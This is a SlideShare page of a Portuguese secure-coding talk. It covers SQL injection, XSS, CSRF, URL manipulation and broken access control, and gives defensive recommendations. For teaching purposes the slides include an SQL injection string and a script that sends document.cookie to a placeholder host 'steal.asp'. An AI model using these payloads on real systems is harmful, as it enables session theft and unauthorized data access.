Lições Práticas de Código         Seguro
Quem sou eu?• Arthur Paixão• 5 Anos de experiência na área de segurança da informação• Certificações:   EC-CSA (EcCouncil ...
Agenda A Evolução dos Ataques Application Security != Network Security Entendendo as táticas do inimigo O quanto segur...
Agenda Principais Ameaças:     Injeções     Cross-Site Scripting (XSS)     Referência direta à objetos     Cross-Site...
Agenda Principais Ameaças:     Canal Inseguro     Redirecionamentos Não-Validados
Segurança é ...?
É tudo a mesma coisa?Application Security != Network Security                 X
Evolução dos Ataques A evolução dos ataques.
Onde identificar falhas? No início, ao não identificar as necessidades de  segurança Na criação de arquiteturas conceitu...
Onde identificar falhas?     Vulnerabilidades de software podem ter um       escopo muito maior do que o do próprio       ...
URL Manipulation O comando GET requisita informações  importantes na URL. Os parâmetros podem ser manipulados para se  o...
Falha na Restrição de Acesso à URLs Exposição do nível de privilégio. É possível forçar outros níveis  (admin, manager, ...
Falha na Restrição de Acesso à URLs Recomendações:    Restrição de acesso em várias     camadas.    Bloqueie requisiçõe...
SQL Injection A ideia é injetar um comando SQL (Structured Query Language)  ou comando como imput dos dados em um  formul...
SQL Injection• Client-Side: (O Truque Ninja)   OR a=a • Server-Side: SELECT id FROM usuarios WHERE nome = $nome AND senha ...
Injections em Geral Recomendações:     Tratamento de entradas     Validação por whitelist     Minimize os privilégios ...
Cross-Site Scripting (XSS) Enviados ao browser do usuário Posts, URLs, javascript, etc... Todo Browser é “vulnerável”: ...
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)  • Esta vulnerabilidade tira vantagens de sites    que não fazem o tratamento dos dados de    e...
Cross-Site Scripting (XSS)• Ataque de XSS Persistente   Dados enviados sem tratamento para    usuários.
Cross-Site Scripting (XSS)• Ataque de XSS Não Persistente   Dados enviados de volta sem tratamento e    executado no brow...
Cross-Site Scripting (XSS)• Ataque de XSS DOM   Código executado no browser utilizando    elementos do DOM.   Não há fal...
Cross-Site Scripting (XSS)• Recomendações:     Validação de entrada     Validação de saída     Validação de elementos d...
Cross Site Request Forgery (CSRF)• Browsers enviam alguns tipos de  credenciais automaticamente em  cada requisição.      ...
Cross Site Request Forgery (CSRF)• Recomendações:     Autenticações forcadas em requisições      sensíveis.     s Contro...
Referência•   www.usecurity.com.br•   www.owasp.org•   www.thehackernews.com•   www.guiadohacker.com.br/forum•   www.remot...
twitter.com.br/arthurpaixao    facebook.com/arthur.paixaoarthur.paixao@usecurity.com.br
Próximos SlideShares
Carregando em…5
×

Lições praticas de codigo seguro

1.123 visualizações

Publicada em

0 comentários
1 gostou
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
1.123
No SlideShare
0
A partir de incorporações
0
Número de incorporações
11
Ações
Compartilhamentos
0
Downloads
49
Comentários
0
Gostaram
1
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Lições praticas de codigo seguro

  1. 1. Lições Práticas de Código Seguro
  2. 2. Quem sou eu?• Arthur Paixão• 5 Anos de experiência na área de segurança da informação• Certificações: EC-CSA (EcCouncil Certified Security Analyst) EC-CHFI (EcCouncil Computer Hacking Forensic Investigator)• Diversos cursos de especialização na área: INTEL, Fundação Bradesco, DragonJAR, Offensive Security• Atualmente trabalho: Security Consulting & Pentester: Equipe de Resposta a Tratamento de Incidentes de Segurança (CSIRT) Desenvolvedor: Java, Flex, PL-SQL, Oracle Forms (6i & 10g)
  3. 3. Agenda A Evolução dos Ataques Application Security != Network Security Entendendo as táticas do inimigo O quanto segura deve ser sua aplicação? Custos que envolvem uma aplicação segura ? Porquê o PHP é tão vulnerável?
  4. 4. Agenda Principais Ameaças:  Injeções  Cross-Site Scripting (XSS)  Referência direta à objetos  Cross-Site Request Forgery (CSRF)  Falha na Restrição de Acesso à URLs  URL Manipulation
  5. 5. Agenda Principais Ameaças:  Canal Inseguro  Redirecionamentos Não-Validados
  6. 6. Segurança é ...?
  7. 7. É tudo a mesma coisa?Application Security != Network Security X
  8. 8. Evolução dos Ataques A evolução dos ataques.
  9. 9. Onde identificar falhas? No início, ao não identificar as necessidades de segurança Na criação de arquiteturas conceituais que possuam erros de lógica No uso de más práticas de programação que introduzam vulnerabilidades técnicas Na implementação do software de modo inapropriado Na inserção de falhas durante a manutenção ou a atualização
  10. 10. Onde identificar falhas? Vulnerabilidades de software podem ter um escopo muito maior do que o do próprio software.• O software e sua informação associada• O sistema operacional dos servidores associados• A base de dados do backend.• Outras aplicações em um ambiente compartilhado• O sistema do usuário• Outros softwares com os quais o usuário interage
  11. 11. URL Manipulation O comando GET requisita informações importantes na URL. Os parâmetros podem ser manipulados para se obter resultados satisfatórios. O impacto é ALTO. Variações podem ser feitas para se tentar obter resultados interessantes.http://www.vitima.com/exemplo?usuario=arthurpaixao&senha=123
  12. 12. Falha na Restrição de Acesso à URLs Exposição do nível de privilégio. É possível forçar outros níveis (admin, manager, etc)
  13. 13. Falha na Restrição de Acesso à URLs Recomendações:  Restrição de acesso em várias camadas.  Bloqueie requisições à tipos não autorizados de arquivos (configurações, logs, fontes, etc.)
  14. 14. SQL Injection A ideia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB. Todos os parâmetros passados são direcionados para o banco de dados. O atacante pode manipular com as tabelas e dados diretamente.
  15. 15. SQL Injection• Client-Side: (O Truque Ninja) OR a=a • Server-Side: SELECT id FROM usuarios WHERE nome = $nome AND senha = OR a=a;
  16. 16. Injections em Geral Recomendações:  Tratamento de entradas  Validação por whitelist  Minimize os privilégios  OWASP: SQL_Injection_Prevention_Cheat_Sheet
  17. 17. Cross-Site Scripting (XSS) Enviados ao browser do usuário Posts, URLs, javascript, etc... Todo Browser é “vulnerável”: javascript:alert(document.cookie) Redirecionamento e/ou roubo de dados
  18. 18. Cross-Site Scripting (XSS)
  19. 19. Cross-Site Scripting (XSS) • Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada. • O POST contém um script que pode ser executado via browser.<script> window.navigate("http://site.com/steal.asp?cookie="+document.cookie)</script>
  20. 20. Cross-Site Scripting (XSS)• Ataque de XSS Persistente  Dados enviados sem tratamento para usuários.
  21. 21. Cross-Site Scripting (XSS)• Ataque de XSS Não Persistente  Dados enviados de volta sem tratamento e executado no browser da vítima.
  22. 22. Cross-Site Scripting (XSS)• Ataque de XSS DOM  Código executado no browser utilizando elementos do DOM.  Não há falha no servidor
  23. 23. Cross-Site Scripting (XSS)• Recomendações:  Validação de entrada  Validação de saída  Validação de elementos do DOM  OWASP XSS Prevention Cheat Sheet
  24. 24. Cross Site Request Forgery (CSRF)• Browsers enviam alguns tipos de credenciais automaticamente em cada requisição. Cookies Cabeçalhos Endereço IP Certificados SSL
  25. 25. Cross Site Request Forgery (CSRF)• Recomendações:  Autenticações forcadas em requisições sensíveis.  s Controle exposição de dados utilizados como credenciais.  OWASP: CSRF_Prevention_Cheat_Sheet
  26. 26. Referência• www.usecurity.com.br• www.owasp.org• www.thehackernews.com• www.guiadohacker.com.br/forum• www.remote-execution.blogspot.com.br• www.securitytube.net
  27. 27. twitter.com.br/arthurpaixao facebook.com/arthur.paixaoarthur.paixao@usecurity.com.br

×